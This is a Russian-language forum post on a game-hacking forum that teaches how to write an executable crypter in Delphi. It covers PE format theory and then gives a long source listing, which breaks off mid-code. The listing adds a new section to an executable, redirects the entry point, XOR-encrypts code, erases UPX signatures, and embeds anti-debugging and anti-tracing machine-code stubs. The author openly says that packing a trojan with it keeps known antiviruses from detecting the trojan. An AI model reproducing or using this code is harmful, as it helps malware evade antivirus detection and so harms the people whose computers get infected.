Регистрация Главная Сообщество
Сообщения за день Справка Регистрация
Навигация
Zhyk.org LIVE! Реклама на Zhyk.org Правила Форума Награды и достижения Доска "почета"

Пишем криптор на Delphi (+ исходник криптора)

-

Общение и обсуждение CrossFire

- Общение и обсуждение по темам CrossFire

Ответ
 
Опции темы
Старый 09.01.2012, 14:26   #1
 Разведчик
Аватар для E9n3N7s6
 
E9n3N7s6 никому не известный тип
Регистрация: 25.07.2011
Сообщений: 0
Популярность: 10
Сказал(а) спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
 
Arrow Пишем криптор на Delphi (+ исходник криптора)

В данной статье я приведу пример простого протектора исполняемых
файлов. В ходе приведения исходного текста будут производиться
необходимые пояснения.

С чего же начать писать свой собственный протектор? Для начала нам
необходимо минимум теории. Также мы должны знать что хотим написать.
Писать мы будем простейший в своем роде протектор, который выполняет
следующее: шифрует байты на оригинальной точке входа (что это такое
читайте далее), стирает сигнатуры пакеров (в данном случае UPX), т.е.
работает как скрамблер, использует антиотладочные приемы. В качестве
языка я предлагаю ObjectPascal, но при желании Вы легко сможете
переписать это на другой язык.

Итак, теория и необходимые термины

Начнем с разбора формата исполняемых файлов PortableExecutable (PE). Что же этот формат из себя представляет.

Структура файла такова:
DOS-заглушка Содержит старый DOS-заголовок + DOS-программа
PE-заголовок Содержит необходимую информацию о PE-файле
Заголовки секций Содержат необходимую информацию о секциях в файле
Сами секции Содержат непосредственно сам код, данные, ресурсы и др.
Оверлей Любые данные, приписанные к концу PE-файла (Может не присутствовать)

Ничего сложного здесь нет. DOS-заглушка — это просто досовская
программа, которая обычно выводит сообщение типа: «This program must be
run under Win32″ или что-то типа того и завершает свою работу.

PE-заголовок содержит служебную информацию, в процессе написания мы много раз будем ей использовать.

Заголовки секций в программном файле содержат соответственно иформацию о соответствующей секции.

Сами секции это куски кода, данных, ресурсов, служебной информации,
такой как: таблица импортов/экспортов, релоки, отладочная информация и
др.

Оверлей это все что находится после конца PE-файла. Часто оверлеев в
обычных файлах нет, но зато почти всегда есть в SFX-архивах и
дистрибутивах.

Я думаю, что здесь все понятно, поэтому приступим к более подробному
изучению формата PE-заголовка и секций. В PE-заголовке я поясню только
те поля, которые нам понадобятся.

Чтобы найти начало PE-заголовка в файле необходимо считать из файла
значение типа DWORD по смещению $3C. Там хранится смещение от начала
файла до начала PE-заголовка.

Необходимые поля PE-заголовка:
Смещение Тип Название Описание
$00 DWORD Signature Bytes Сигнатурка того, что этот файл собственно говоря является PE — должна быть $4550
$06 WORD Num of Objects это поле указывает на число реальных входов в Object Table (кол-во секций)
$14 WORD NT Header Size размер заголовка PE файла начиная с поля Magic, общий размер заголовка PE файла составляет NT Header Size + $18
$28 DWORD Entry point RVA адрес,
относительно Image Base по которому передается управление при запуске
программы или адрес инициализации/завершения библиотеки
$34 DWORD Image Base виртуальный начальный адрес загрузки программы (ее первого байта)
$38 DWORD Object align выравнивание
программных секций, должен быть степенью 2 между 512 и 256М
включительно, так же связано с системой памяти. При использовании
других значений программа не загрузится
$3C DWORD File align фактор
используемый для выравнивания секций в программном файле. В байтовом
значении указывает на границу на которую секции дополняются 0 при
размещении в файле. Большое значение приводит к нерациональному
использованию дискового пространства, маленькое увеличивает
компактность, но и снижает скорость загрузки. Должен быть степенью 2 в
диапазоне от 512 до 64К включительно. Прочие значения вызовут ошибку
загрузки файла
$50 DWORD Image Size виртуальный размер в байтах всего загружаемого образа, вместе с заголовками, кратен Object align

Тут нет ничего сложного, за исключением, пожалуй, одной детали. Дело в
том, что все адреса памяти, записанные в заголовке относительные. А
относительны они относильно ImageBase (хорошо сказано), т.е. чтобы
вычислить абсолютный адрес нужно прибавить к относительному ImageBase.
VA = RVA + ImageBase (VA (от VirtualAddress) — абсолютный адрес; RVA
(от Relative VirtualAddress) — относительный)

Формат заголовка секции:
Смещение Тип Название Описание
$00 8 Bytes Object Name Имя
объекта, остаток заполнен нулями, если имя объекта имеет длину 8
символов, то заключительного 0 нет. Имя — штука отфонарная и никого ни
к чему не обязывает
$08 DWORD Virtual Size виртуальный
размер секции, именно столько памяти будет отведено под секцию. Если
Virtual Size превышает Physical Size, то разница заполняется нулями,
так определяются секции неинициализированных данных (Physical Size = 0)
$0C DWORD Object RVA размещение
секции в памяти, виртуальный ее адрес относительно Image Base. Позиция
каждой секции выравнена на границу Object align (степень 2 от 512 до
256М включительно, по умолчанию 64К) и секции упакованы впритык друг к
другу, впрочем, можно это не соблюдать
$10 DWORD Physical Size размер
секции (ее инициализированной части) в файле, кратно полю File align в
заголовке PE Header, должно быть меньше или равно Virtual Size
$14 DWORD Physical Offset физическое смещение относительно начала EXE файла, выровнено на границу File align поля заголовка PE Header
$18 DWORD PointerToRelocations зарезервировано для OBJ файла, в экзешниках смысла не имеет
$1C DWORD PointerToLinenumbers зарезервировано для OBJ файла, в экзешниках смысла не имеет
$20 DWORD NumberOfRelocations зарезервировано для OBJ файла, в экзешниках смысла не имеет
$24 DWORD NumberOfLinenumbers зарезервировано для OBJ файла, в экзешниках смысла не имеет
$28 DWORD Object Flags битовые флаги секции

Тут также нет ничего сложного. После всех заголовков, с выравниванием
кратным File align идут непосредственно сами секции исполняемого файла.
Если Вы ничего не поняли что написано выше или хотите более подробно
изучить формат PE, то рекомендую почитать документацию, например
«ФОРМАТ ИСПОЛНЯЕМЫХ ФАЙЛОВ PortableExecutables» от Hard Wisdom.

Ну теперь приступим к написанию непосредственно нашего протектора.

Для начала входной файл нам нужно проверить является ли он исполняемым,
да еще в формате PE. Те кто внимательно читал что написано выше уже
могут догадаться что мы должны предпринять.

Сначала проверим является ли первое слово (WORD), в файле = ‘ZM’($5A4D), если нет, то это по любому не программа.

Во вторых, слово по смещению $18 должно быть >= $40, тогда и только тогда DWORD поле по смещению $3C имеет смысл.

Затем проверяем сигнатуру в PE-заголовке, которая должна быть равна $00004550.

Если все эти условия выполняются то впринципе мы можем попробовать такой файл обработать.

Для удобства мы создадим прототип функции, которая будет обрабатывать наш файл.

fucntion ProtectFile(szFileName: string; dwFlags: DWORD): Boolean;
begin
Result:= False;
end;

szFileName — путь к файлу, dwFlags — дополнительные параметры. Затем просто осуществим проверку файла на валидность

function IsFullPath(const Path: string): Boolean;
begin
Result:= ExtractFileDrive(Path) <> '';
end;

{ Дополнительные параметры при обработке файла }
const
PROTECTION_FLAG_MAKEBACKUP = $00000001; // создать резервную копию файла
PROTECTION_FLAG_SAVEOVERLAY = $00000010; // сохранить оверлей

{ Функция обработки файла }
function ProtectFile(szFileName: string; dwFlags: DWORD): Boolean;
var
BackupFile: string;
FHandle: HFILE;
OFS: OFSTRUCT;
EXESig: WORD; // сигнатура файла
PEHeaderOffset: DWORD; // смещение PE-заголовка
ImageNtHeaders: TImageNtHeaders; // заголовки файла
dwTemp: DWORD;
W: Word;

label
Quit;

begin
Result:= False; // пока установим ложь

{ Имя входного файла }
Writeln('Input file: ', ExtractFileName(szFileName), #10#13);

if not IsFullPath(szFileName) then
szFileName:= GetCurrentDir + '\' + szFileName;

{ А если файла нет ? }
if not FileExists(szFileName) then
begin
Writeln('Can not find a file');
goto Quit;
end;

{ Нужна резервная копия ? }
if (dwFlags and PROTECTION_FLAG_MAKEBACKUP <> 0) then
begin
BackupFile:= szFileName + '.bak';
SetFileAttributes(PChar(BackupFile), 0);
DeleteFile(PChar(BackupFile));
CopyFile(PChar(szFileName), PChar(BackupFile), False);
end;

{ Открываем файл }
SetFileAttributes(PChar(szFileName), 0);
FHandle:= OpenFile(PChar(szFileName), OFS, OF_READWRITE);
if (FHandle = INVALID_HANDLE_VALUE) then
begin
Writeln('Open file error');
goto Quit;
end;

{ Читаем сигнатуру MZ }
ReadFile(FHandle, EXESig, SizeOf(EXESig), dwTemp, nil);
if EXESig <> IMAGE_DOS_SIGNATURE then
begin
Writeln('Invalid MZ file');
goto Quit;
end;

{ А если файла левый ? }
SetFilePointer(FHandle, $18, nil, FILE_BEGIN);
ReadFile(FHandle, W, SizeOf(W), dwTemp, nil);
if W < $40 then
begin
Writeln('Invalid PE file (1)');
goto Quit;
end;

{ Проверяем значение PE header offset }
SetFilePointer(FHandle, $3C, nil, FILE_BEGIN);
ReadFile(FHandle, PEHeaderOffset, SizeOf(PEHeaderOffset), dwTemp, nil);
if (PEHeaderOffset = 0) then
begin
Writeln('Invalid PE file (2)');
goto Quit;
end;

if (PEHeaderOffset < $40) then
begin
Writeln('Invalid PE file (3)');
goto Quit;
end;

{ Проверяем сигнатуру PE }
SetFilePointer(FHandle, PEHeaderOffset, nil, FILE_BEGIN);
ReadFile(FHandle, ImageNtHeaders, SizeOf(ImageNtHeaders), dwTemp, nil);
if ImageNtHeaders.Signature <> IMAGE_NT_SIGNATURE then
begin
Writeln('Invalid PE file (4)');
goto Quit;
end;
Result:= True; // все ок и мы здесь можем продолжить...
//...
Quit:
CloseHandle(FHandle);
end;

Итак, мы умеем проверять файл на валидность. Теперь можно приступать
непосредственно к написанию кода протектора. Но сначала снова немножко
теории.

Протектор — это программа, значит она должна содержать исполняемый код.
Следовательно нам нужно добавить этот код в уже скомпиллированный файл.
Как известно в PE-файлах код хранится в секции (хотя это и не
обязательно, код, например, можно хранить в заголовках). Для этого нам
просто понадобится один из вариантов: дописать код к последней секции
файла или создать новую секцию. Первый вариант легче, а мы легкого пути
не ищем, поэтому выбираем второй.

Чтобы добавить секцию в файл необходимо выполнить следующие шаги:

1) Увеличиваем значение поля PE-заголовка NumOfObjects на 1.

2) Дописываем к концу последнего заголовка секции еще один заголовок нашей секции

3)
Устанавливаем атрибуты нашей секции так: VirtualSize = PhysicalSize =
4096 (именно это значение потому что нам не придется ничего
выравнивать, т.к. это поле кратно значению выравнивания, и 4 килобайт
кода нам вполне хватит). PhysicalOffset = PhysicalOffset последней
секции + PhysicalSize последней секции. VirtualAddress = VirtualAddress
последней секции + VirtualSize последней секции, а затем это значение
нужно установить кратным SectionAlignment до большего значение.
Атрибуты секции лучше установить на чтение и запись, например такие -
$E0000040. Остальные поля забиваем нулями. Имя секции можете присвоить
любое.

4) Дописать саму секцию к концу файла. Её размер мы уже предопределили и он равен PhysicalSize

5)
Необходимо поправить значение поля PE-заголовка SizeOfImage и увеличить
его размер на выровненный виртуальный размер нашей новой секции.

После всего этого в программном файле появится новая секция, в нашем
случае равная размеру одной страницы в памяти. Остается последний
вопрос каким образом нашему коду получить управление. Для этого
устанавливаем значение поля PE-заголовка EntryPoint равное
VirtualAddress нашей секции. И все. Теперь при запуске программы
управление получит наш код.

Теперь, когда мы добавили свой код в файл нам нужно чтобы он что-то
выполнял. В самом наипростейшем случае мы должны просто сразу передать
управление программе-носителю. Это осуществляется с помощью пары
процессорных команд.

MOV EAX,$АДРЕС_ОРИГИНАЛЬНОЙ_ТОЧКИ_ВХОДА

JMP EAX

Для тех кто не знает ассемблера объясню, что сначала в регистр
помещяется адрес OEP (значение поля EntryPoint, до того как мы его
подправили + ImageBase), а затем осуществляется переход по этому
адресу.

Больше я ничего не буду объяснять, а просто приведу полный листниг
исходного текста протектора с комментариями. Приведенный ниже код
полностью работоспособен и лучше данный протектор испытывайте поверх
UPX, т.к. результат намного лючше. А еще небольшой сюрприз для
люьителей побаловаться «нехорошими программами». Если запаковать троян,
например UPX, а затем этим протектором, то «некоторые известные
антивирусы» вообще не определят, что троян чем-либо запакован, и
естественно троян не будет замечен icon smile Пишем криптор на Delphi (+ исходник криптора)

program ProtExample;

{$APPTYPE CONSOLE}

uses
Windows, SysUtils;

function IsFullPath(const Path: string): Boolean;
begin
Result:= ExtractFileDrive(Path) <> '';
end;

{ Дополнительные параметры при обработке файла }
const
PROTECTION_FLAG_MAKEBACKUP = $00000001; // создать резервную копию файла
PROTECTION_FLAG_SAVEOVERLAY = $00000010; // сохранить оверлей

{ Функция обработки файла }
function ProtectFile(szFileName: string; dwFlags: DWORD): Boolean;
const
NewCodeSize = 4096; // размер новой секции в файле
SignOffset = 0; // нашей смещение сигнатуры в секции

{ Сама сигнатура протектора }
Sign: array[0..23] of Char = (#$E8, #$00, #$00, #$00, #$00, #$5D, #$83, #$C5,
#$12, #$55, #$C3, #$20, #$83, #$B8, #$ED, #$20,
#$37, #$EF, #$C6, #$B9, #$79, #$37, #$9E, #$00);

{ Сигнатура расшифровки простым XOR }
DecryptSign: array[0..19] of Byte =
($BE, $00, $00, $00, $00, // MOV ESI,xxxxxxxx ; x - начальное смещение
$B0, $00, // MOV AL,xx ; первый XOR-байт
$30, $06, // XOR [ESI],AL
$8A, $06, // MOV AL,[ESI]
$46, // INC ESI
$81, $FE, $00, $00, $00, $00, // CMP ESI,xxxxxxxx ; x - конечное смещение
$7C, $F3); // JL -0B

{ Противоотладочная сигнатура }
AntiDebugSign: array[0..63] of Byte =
($EB, $09, // JMP 0040100B
$90, // NOP
$90, // NOP
$90, // NOP
$58, // POP EAX
$EB, $38, // JMP 00401040
$90, // NOP
$90, // NOP
$90, // NOP
$33, $C9, // XOR ECX,ECX
$83, $C1, $10, // ADD ECX,10
$BB, $FF, $FF, $FF, $77, // MOV EBX,77FFFFFF
$64, $8B, $83, $19, $00, $00, $88, // MOV EAX,FS:[EBX+88000019]
$8B, $44, $48, $10, // MOV EAX,[ECX*2+EAX+10]
$0F, $B6, $40, $02, // MOVZX EAX,BYTE PTR [EAX+02]
$F7, $D0, // NOT EAX
$83, $E0, $01, // AND EAX,01
$8B, $D8, // MOV EBX,EAX
$68, $F6, $FB, $C3, $00, // PUSH 00C3FBF6
$E8, $00, $00, $00, $00, // CALL 00401035
$83, $2C, $24, $33, // SUB DWORD PTR [+ESP],33
$8B, $F4, // MOV ESI,ESP
$83, $C6, $04, // ADD ESI,04
$FF, $E6); // JMP ESI

{ Противотрейсерная сигнатура }
AntiTraceSign: array[0..71] of Byte =
($31, $C0, // XOR EAX,EAX
$55, // PUSH EBP
$E8, $00, $00, $00, $00, // CALL +05
$83, $04, $24, $34, // ADD DWORD PTR [ESP],$34
$64, $FF, $30, // PUSH DWORD PTR [FS:EAX]
$64, $89, $20, // MOV [FS:EAX],ESP
$9C, // PUSHFD
$58, // POP EAX
$0D, $00, $01, $00, $00, // OR EAX,$100
$6A, $00, // PUSH 00
$6A, $FF, // PUSH FF
$6A, $00, // PUSH 00
$6A, $00, // PUSH 00
$50, // PUSH EAX
$B8, $01, $01, $00, $00, // MOV EAX,$101
$89, $E2, // MOV EDX,ESP
$83, $C2, $04, // ADD EDX,$04
$C7, $44, $24, $FC, $0F, $34, $00, $00, // MOV DWORD PTR [ESP-$04],$340F
$89, $E1, // MOV ECX,ESP
$83, $E9, $04, // SUB ECX,$04
$9D, // POPFD
$FF, $E1, // JMP ECX
$58, // POP EAX
$58, // POP EAX
$58, // POP EAX
$58, // POP EAX
$31, $C0, // XOR EAX,EAX
$5A, // POP EDX
$59, // POP ECX
$59, // POP ECX
$64, $89, $10); // MOV [FS:EAX],EDX

type
{ Создадим свой тип для описания заголовка секции }
TImageSectionHeader = packed record
Name: array[0..7] of Char;
VirtualSize: DWORD;
VirtualAddress: DWORD;
PhysicalSize: DWORD;
PhysicalOffset: DWORD;
PointerToRelocations: DWORD;
PointerToLinenumbers: DWORD;
NumberOfRelocations: WORD;
NumberOfLinenumbers: WORD;
Characteristics: DWORD;
end;

var
BackupFile: string;
FHandle: HFILE;
OFS: OFSTRUCT;
EXESig: WORD; // сигнатура файла
PEHeaderOffset: DWORD; // смещение PE-заголовка
PEHeaderSize: DWORD; // размер PE-заголовка
ImageNtHeaders: TImageNtHeaders; // заголовки файла
SectionHeader: TImageSectionHeader; // заголовок секции
EntryPointOffset: DWORD; // смещение точки входа
EndOfCodeSection: DWORD; // смещение конца секции кода
NewSectionOffset: DWORD; // смещение новой секции
NewSectionRVA: DWORD; // адрес новой секции
NewImageSize: DWORD; // новый размер образа
FirstSectionOffset: DWORD; // смещение первой секции
NewFirstSectionOffset: DWORD; // новое смещение первой секции
MoveCount: DWORD;
EndOfImage: DWORD;
OverlaySize: DWORD; // размер оверлея
dwTemp: DWORD;
ptrBuf: Pointer;
dwBufSize: DWORD;
TestBuff: array[0..High(Sign)] of Char;
I, J: DWORD;
W: WORD;
B, X: Byte;
SD_XorByte: Byte;
SD_StartOffset: DWORD;
SD_EndOffset: DWORD;
EP_XorByte: Byte;
EP_StartOffset: DWORD;
EP_EndOffset: DWORD;

label
Quit;

function RVAToOffset(RVA, SectionRVA, SectionOffset: DWORD): DWORD;
begin
Result:= RVA - SectionRVA + SectionOffset;
end;

function OffsetToRVA(Offset, SectionRVA, SectionOffset: DWORD): DWORD;
begin
Result:= Offset + SectionRVA - SectionOffset;
end;

function Bit(B: DWORD): Byte;
begin
if B <> 0 then
Result:= 1
else
Result:= 0;
end;

{ Получает текущее RVA }
function GetCurrentRVA: DWORD;
begin
Result:= OffsetToRVA(SetFilePointer(FHandle, 0, nil, FILE_CURRENT),
NewSectionRVA, NewSectionOffset);
end;

{ Заполняет значение по адресу DWORD'ом }
procedure FillAddress(ptrArray: Pointer; wFirstIndex: Word; dwValue: DWORD);
begin
Inc(DWORD(ptrArray),wFirstIndex);
Byte(ptrArray^):= LoByte(LoWord(dwValue));
Inc(DWORD(ptrArray));
Byte(ptrArray^):= HiByte(LoWord(dwValue));
Inc(DWORD(ptrArray));
Byte(ptrArray^):= LoByte(HiWord(dwValue));
Inc(DWORD(ptrArray));
Byte(ptrArray^):= HiByte(HiWord(dwValue));
end;

begin
Result:= False; // пока установим ложь

{ Имя входного файла }
Writeln('Input file: ', ExtractFileName(szFileName), #10#13);

if not IsFullPath(szFileName) then
szFileName:= GetCurrentDir + '\' + szFileName;

{ А если файла нет ? }
if not FileExists(szFileName) then
begin
Writeln('Can not find a file');
goto Quit;
end;

{ Нужна резервная копия ? }
if (dwFlags and PROTECTION_FLAG_MAKEBACKUP <> 0) then
begin
BackupFile:= szFileName + '.bak';
SetFileAttributes(PChar(BackupFile), 0);
DeleteFile(PChar(BackupFile));
CopyFile(PChar(szFileName), PChar(BackupFile), False);
end;

{ Открываем файл }
SetFileAttributes(PChar(szFileName), 0);
FHandle:= OpenFile(PChar(szFileName), OFS, OF_READWRITE);
if (FHandle = INVALID_HANDLE_VALUE) then
begin
Writeln('Open file error');
goto Quit;
end;

{ Читаем сигнатуру MZ }
ReadFile(FHandle, EXESig, SizeOf(EXESig), dwTemp, nil);
if EXESig <> IMAGE_DOS_SIGNATURE then
begin
Writeln('Invalid MZ file');
goto Quit;
end;

{ А если файла левый ? }
SetFilePointer(FHandle, $18, nil, FILE_BEGIN);
ReadFile(FHandle, W, SizeOf(W), dwTemp, nil);
if W < $40 then
begin
Writeln('Invalid PE file (1)');
goto Quit;
end;

{ Проверяем значение PE header offset }
SetFilePointer(FHandle, $3C, nil, FILE_BEGIN);
ReadFile(FHandle, PEHeaderOffset, SizeOf(PEHeaderOffset), dwTemp, nil);
if (PEHeaderOffset = 0) then
begin
Writeln('Invalid PE file (2)');
goto Quit;
end;

if (PEHeaderOffset < $40) then
begin
Writeln('Invalid PE file (3)');
goto Quit;
end;

{ Проверяем сигнатуру PE }
SetFilePointer(FHandle, PEHeaderOffset, nil, FILE_BEGIN);
ReadFile(FHandle, ImageNtHeaders, SizeOf(ImageNtHeaders), dwTemp, nil);
if ImageNtHeaders.Signature <> IMAGE_NT_SIGNATURE then
begin
Writeln('Invalid PE file (4)');
goto Quit;
end;

{ Сотрем эти значения PE-заголовка }
ImageNtHeaders.FileHeader.TimeDateStamp:= 0;
ImageNtHeaders.OptionalHeader.MajorLinkerVersion:= 0;
ImageNtHeaders.OptionalHeader.MinorLinkerVersion:= 0;
ImageNtHeaders.OptionalHeader.CheckSum:= 0;

{ Вычислим размер PE-заголовка }
PEHeaderSize:= ImageNtHeaders.FileHeader.SizeOfOptionalHeader +
SizeOf(ImageNtHeaders.FileHeader) + 4;

{ Пробежимся по заголовкам секций }
NewImageSize:= 0; // новый размер образа
J:= ImageNtHeaders.OptionalHeader.SectionAlignment;
{ Уходим на физическое смещение начала заголовка первой секци }
SetFilePointer(FHandle, PEHeaderOffset + PEHeaderSize, nil, FILE_BEGIN);
for I:= 1 to ImageNtHeaders.FileHeader.NumberOfSections do
begin
ReadFile(FHandle, SectionHeader, SizeOf(SectionHeader), dwTemp, nil);
Inc(NewImageSize, SectionHeader.VirtualSize);
{ Вычислим новый размер образа }
NewImageSize:= (NewImageSize div J) * J + J * Bit(NewImageSize mod J);
{ Если RVA каталога ресурсов попадает в диапазон адресов секции, то OK }
if (ImageNtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].
VirtualAddress >= SectionHeader.VirtualAddress)
and (ImageNtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].
VirtualAddress < SectionHeader.VirtualAddress + SectionHeader.VirtualSize) then
begin
{ Если это секция ресурсов, то установим название '.rsrc' }
FillChar(SectionHeader.Name, SizeOf(SectionHeader.Name), #0);
StrPCopy(SectionHeader.Name, '.rsrc');
end else begin
{ Имена остальных секций стираем, а параметры изменяем на RW }
FillChar(SectionHeader.Name, SizeOf(SectionHeader.Name), #0);
SectionHeader.Characteristics:= $E0000000 +
SectionHeader.Characteristics mod $10000000;
end;
SetFilePointer(FHandle, -SizeOf(SectionHeader), nil, FILE_CURRENT);
WriteFile(FHandle, SectionHeader, SizeOf(SectionHeader), dwTemp, nil);
end;

{ Вычислим секцию кода }
SetFilePointer(FHandle, PEHeaderOffset + PEHeaderSize, nil, FILE_BEGIN);
for I:= 1 to ImageNtHeaders.FileHeader.NumberOfSections do
begin
ReadFile(FHandle, SectionHeader, SizeOf(SectionHeader), dwTemp, nil);
{ Если EntryPointRVA попадает в диапазон адресов секции, то OK }
if (ImageNtHeaders.OptionalHeader.AddressOfEntryPoint >= SectionHeader.VirtualAddress)
and (ImageNtHeaders.OptionalHeader.AddressOfEntryPoint <
SectionHeader.VirtualAddress + SectionHeader.VirtualSize) then Break;
end;
{ Вычислим физическое смещение точки входа }
EntryPointOffset:= RVAToOffset(ImageNtHeaders.OptionalHeader.
AddressOfEntryPoint, SectionHeader.VirtualAddress, SectionHeader.PhysicalOffset);
{ Вычислим физическое смещение конца секцию кода }
EndOfCodeSection:= ImageNtHeaders.OptionalHeader.ImageBase +
SectionHeader.VirtualAddress + SectionHeader.PhysicalSize;

{ Уходим на физическое смещение точки входа }
SetFilePointer(FHandle, EntryPointOffset, nil, FILE_BEGIN);
ReadFile(FHandle, I, SizeOf(I), dwTemp, nil);

{ А не обработан ли уже наш файл ? }
SetFilePointer(FHandle, EntryPointOffset + SignOffset, nil, FILE_BEGIN);
ReadFile(FHandle, TestBuff, SizeOf(TestBuff), dwTemp, nil);
TestBuff[High(TestBuff)]:= #0;
if StrComp(TestBuff, Sign) = 0 then
begin
Writeln('This file is already protected');
goto Quit;
end;

{ Уходим на физическое смещение начала заголовка первой секции }
SetFilePointer(FHandle, PEHeaderOffset + PEHeaderSize, nil, FILE_BEGIN);
ReadFile(FHandle, SectionHeader, SizeOf(SectionHeader), dwTemp, nil);
{ Вычисляем физическое смещение первой секции }
FirstSectionOffset:= SectionHeader.PhysicalOffset;
I:= (ImageNtHeaders.FileHeader.NumberOfSections-1) * SizeOf(SectionHeader);
{ Уходим на физическое смещение начала заголовка последней секции }
SetFilePointer(FHandle, PEHeaderOffset + PEHeaderSize + I, nil, FILE_BEGIN);
ReadFile(FHandle, SectionHeader, SizeOf(SectionHeader), dwTemp, nil);
{ Вычисляем физическое смещение конца последней секции }
EndOfImage:= SectionHeader.PhysicalOffset + SectionHeader.PhysicalSize;
{ Получаем размер оверлея }
OverlaySize:= GetFileSize(FHandle, nil) - EndOfImage;

{ Создаем заголовок новой секции }
FillChar(SectionHeader.Name, SizeOf(SectionHeader.Name), #0);
{ Запишем имя новой секции }
StrPCopy(SectionHeader.Name, '.data');
J:= ImageNtHeaders.OptionalHeader.SectionAlignment;
Inc(SectionHeader.VirtualAddress, SectionHeader.VirtualSize);
I:= SectionHeader.VirtualAddress;
{ RVA новой секции = RVA пред. секции + размер пред. секции,
выровненный на SectionAlignment}
SectionHeader.VirtualAddress:= (I div J) * J + J * Bit(I mod J);
{ сохраним RVA новой секции }
NewSectionRVA:= SectionHeader.VirtualAddress;
Inc(SectionHeader.PhysicalOffset, SectionHeader.PhysicalSize);
SectionHeader.PointerToRelocations:= 0;
SectionHeader.PointerToLinenumbers:= 0;
SectionHeader.NumberOfRelocations:= 0;
SectionHeader.NumberOfLinenumbers:= 0;
SectionHeader.Characteristics:= $E0000040; // флаги секции ERW
{ физический и виртуайльный размер новой секции = NewCodeSize }
SectionHeader.VirtualSize:= NewCodeSize;
SectionHeader.PhysicalSize:= NewCodeSize;
{ А надо ли сохранить оверлей ? }
if (dwFlags and PROTECTION_FLAG_SAVEOVERLAY <> 0) then
{ Если надо, то копируем в буфер все секции + оверлей }
dwBufSize:= GetFileSize(FHandle, nil) - FirstSectionOffset
else
{ Если НЕ надо, то копируем в буфер только все секции }
dwBufSize:= GetFileSize(FHandle, nil) - FirstSectionOffset - OverlaySize;
GetMem(ptrBuf, dwBufSize);
I:= SetFilePointer(FHandle, 0, nil, FILE_CURRENT);
SetFilePointer(FHandle, FirstSectionOffset, nil, FILE_BEGIN);
{ Считываем данные секций в буфер }
ReadFile(FHandle, ptrBuf^, dwBufSize, dwTemp, nil);
{ Дописываем к концу заголовка последней секции свой заголовок }
SetFilePointer(FHandle, I, nil, FILE_BEGIN);
WriteFile(FHandle, SectionHeader, SizeOf(SectionHeader), dwTemp, nil);

I:= SetFilePointer(FHandle, 0, nil, FILE_CURRENT);
J:= ImageNtHeaders.OptionalHeader.FileAlignment;
{ Вычислыем новое смещение первой секции }
NewFirstSectionOffset:= (I div J) * J + J * Bit(I mod J);
B:= $00;
{ Сколько необходимо байт дописать }
MoveCount:= NewFirstSectionOffset-I;
{ Выравниваем заголовки до FileAlignment }
for I:= 1 to MoveCount do
WriteFile(FHandle, B, SizeOf(B), dwTemp, nil);
{ Записываем буфер с секциями }
WriteFile(FHandle, ptrBuf^, dwBufSize, dwTemp, nil);
FreeMem(ptrBuf);

{ Уходим на физическое смещение начала заголовка первой секции }
SetFilePointer(FHandle, PEHeaderOffset + PEHeaderSize, nil, FILE_BEGIN);
ReadFile(FHandle, SectionHeader, SizeOf(SectionHeader), dwTemp, nil);
{ Вычислыем новое смещение первой секции }
FirstSectionOffset:= SectionHeader.PhysicalOffset;
{ На сколько сместились секции в файле }
MoveCount:= NewFirstSectionOffset - FirstSectionOffset;
{ Новый размер заголовков }
ImageNtHeaders.OptionalHeader.SizeOfHeaders:= NewFirstSectionOffset;
SetFilePointer(FHandle, PEHeaderOffset + PEHeaderSize, nil, FILE_BEGIN);
{ Правим физическое смещение каждой секции на MoveCount }
for I:= 1 to ImageNtHeaders.FileHeader.NumberOfSections do
begin
ReadFile(FHandle, SectionHeader, SizeOf(SectionHeader), dwTemp, nil);
SectionHeader.PhysicalOffset:= SectionHeader.PhysicalOffset + MoveCount;
SetFilePointer(FHandle, -SizeOf(SectionHeader), nil, FILE_CURRENT);
WriteFile(FHandle, SectionHeader, SizeOf(SectionHeader), dwTemp, nil);
end;

B:= $00;
{ Уходим на физическое смещение конца последней секции }
SetFilePointer(FHandle, EndOfImage, nil, FILE_BEGIN);
{ А надо ли сохранить оверлей ? }
if (dwFlags and PROTECTION_FLAG_SAVEOVERLAY <> 0) then
begin
{ Если надо, копируем оверлей в буфер,
затем забиваем нулями новую секцию и
приписываем к концу файла оверлей }
dwBufSize:= OverlaySize;
GetMem(ptrBuf, dwBufSize);
ReadFile(FHandle, ptrBuf^, dwBufSize, dwTemp, nil);
SetFilePointer(FHandle, EndOfImage, nil, FILE_BEGIN);
NewSectionOffset:= SetFilePointer(FHandle, 0, nil, FILE_CURRENT);
for I:= 1 to NewCodeSize do
WriteFile(FHandle, B, SizeOf(B), dwTemp, nil);
WriteFile(FHandle, ptrBuf^, dwBufSize, dwTemp, nil);
FreeMem(ptrBuf);
end else begin
{ Если НЕ надо, то забиваем нулями новую секцию и обрезаем конец файла }
NewSectionOffset:= SetFilePointer(FHandle, 0, nil, FILE_CURRENT);
for I:= 1 to NewCodeSize do
WriteFile(FHandle, B, SizeOf(B), dwTemp, nil);
SetEndOfFile(FHandle);
end;

{ Завершаем вычисление NewImageSize }
Inc(NewImageSize, NewFirstSectionOffset);
J:= ImageNtHeaders.OptionalHeader.SectionAlignment;
NewImageSize:= (NewImageSize div J) * J + J * Bit(NewImageSize mod J);

Inc(NewImageSize, NewCodeSize);
NewImageSize:= (NewImageSize div J) * J + J * Bit(NewImageSize mod J);
ImageNtHeaders.FileHeader.NumberOfSections:=
ImageNtHeaders.FileHeader.NumberOfSections + 1;
{ Сохраняем NewImageSize }
ImageNtHeaders.OptionalHeader.SizeOfImage:= NewImageSize;

{************************************************* ***************************}

{ Отправляемся на смещение начала нашей секции }
SetFilePointer(FHandle, NewSectionOffset, nil, FILE_BEGIN);

{ Записываем в секцию нашу сигнатуру }
WriteFile(FHandle, Sign, SizeOf(Sign), dwTemp, nil);
SetFilePointer(FHandle, -1, nil, FILE_CURRENT);

{ Вычисляем диапазон адресов для шифровки своего кода }
SD_XorByte:= Random($FF)+1; // случайный XOR байт
SD_StartOffset:= ImageNtHeaders.OptionalHeader.ImageBase +
GetCurrentRVA + SizeOf(DecryptSign);
SD_EndOffset:= ImageNtHeaders.OptionalHeader.ImageBase +
NewSectionRVA + NewCodeSize;

FillAddress(@DecryptSign, 1, SD_StartOffset);
DecryptSign[6]:= SD_XorByte; // XOR байт
FillAddress(@DecryptSign, 14, SD_EndOffset);

{ Записываем сигнатуру расшифровки }
WriteFile(FHandle, DecryptSign, SizeOf(DecryptSign), dwTemp, nil);
